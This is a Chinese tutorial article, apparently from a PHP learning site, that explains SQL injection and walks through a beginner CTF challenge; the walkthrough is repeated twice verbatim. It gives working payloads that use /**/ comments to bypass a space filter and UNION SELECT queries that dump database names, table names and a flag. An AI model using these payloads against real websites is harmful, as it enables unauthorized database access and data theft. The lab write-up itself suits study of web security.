SQL是Structured Query Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL。 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。接下来给大家分享一个简单的sql注入,一起看看吧所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击。 分别输入1,2,3有对应的结果 使用'会报错,于是 构造常用的sql语句:1' and '1'='1 没有反应试一试1' and '1'='2 还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试 1and1=1 可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格 试一试1'/**/and/**/'1'='1 发现有结果了: 于是构建sql语句: 判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1 可以看到结果: 查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1 发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中) 故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1 本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢! 根据页面提示,到底过滤了什么东西?可以知道一定过滤了什么.... 分别输入1,2,3有对应的结果 使用'会报错,于是 构造常用的sql语句:1' and '1'='1 没有反应试一试1' and '1'='2 还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试 1and1=1 可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格 试一试1'/**/and/**/'1'='1 发现有结果了: 于是构建sql语句: 判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1 可以看到结果: 查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1 发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中) 故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1 以上就是sql注入的相关简单实例的详细内容,更多请关注php中文网其它相关文章!
学习教程快速掌握从入门到精通的SQL知识。
|